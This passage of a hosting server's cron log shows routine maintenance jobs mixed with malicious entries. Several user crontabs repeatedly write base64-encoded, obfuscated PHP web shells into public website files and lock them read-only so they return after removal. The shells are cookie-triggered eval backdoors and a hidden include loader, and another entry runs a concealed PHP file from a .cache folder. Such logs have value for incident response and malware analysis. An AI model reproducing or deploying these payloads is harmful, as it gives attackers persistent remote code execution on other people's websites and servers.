fenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:48:02 medusa CROND[20412]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:48:02 medusa CROND[20413]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:48:02 medusa CROND[20414]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:48:02 medusa CROND[20415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:48:02 medusa CROND[20416]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:48:02 medusa CROND[20417]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:48:02 medusa CROND[20418]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:48:02 medusa CROND[20419]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:48:02 medusa CROND[20421]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:48:02 medusa CROND[20422]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 04:48:02 medusa CROND[20423]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 04:48:02 medusa CROND[20424]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:48:02 medusa CROND[20428]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:49:01 medusa CROND[21937]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 04:49:01 medusa CROND[21938]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 04:49:01 medusa CROND[21939]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:49:01 medusa CROND[21940]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:49:01 medusa CROND[21942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 04:49:01 medusa CROND[21943]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:49:01 medusa CROND[21944]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 04:49:01 medusa CROND[21946]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:49:01 medusa CROND[21947]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 04:49:01 medusa CROND[21951]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 04:49:01 medusa CROND[21952]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:49:01 medusa CROND[21958]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 04:50:01 medusa CROND[23217]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 04:50:02 medusa CROND[23221]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 04:50:02 medusa CROND[23224]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 04:50:02 medusa CROND[23225]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 04:50:02 medusa CROND[23226]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 04:50:02 medusa CROND[23228]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 04:50:02 medusa CROND[23229]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 04:50:02 medusa CROND[23227]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 04:50:02 medusa CROND[23232]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 04:50:02 medusa CROND[23231]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 04:50:02 medusa CROND[23234]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 04:50:02 medusa CROND[23236]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 04:50:02 medusa CROND[23230]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 04:50:02 medusa CROND[23237]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 04:50:02 medusa CROND[23238]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQH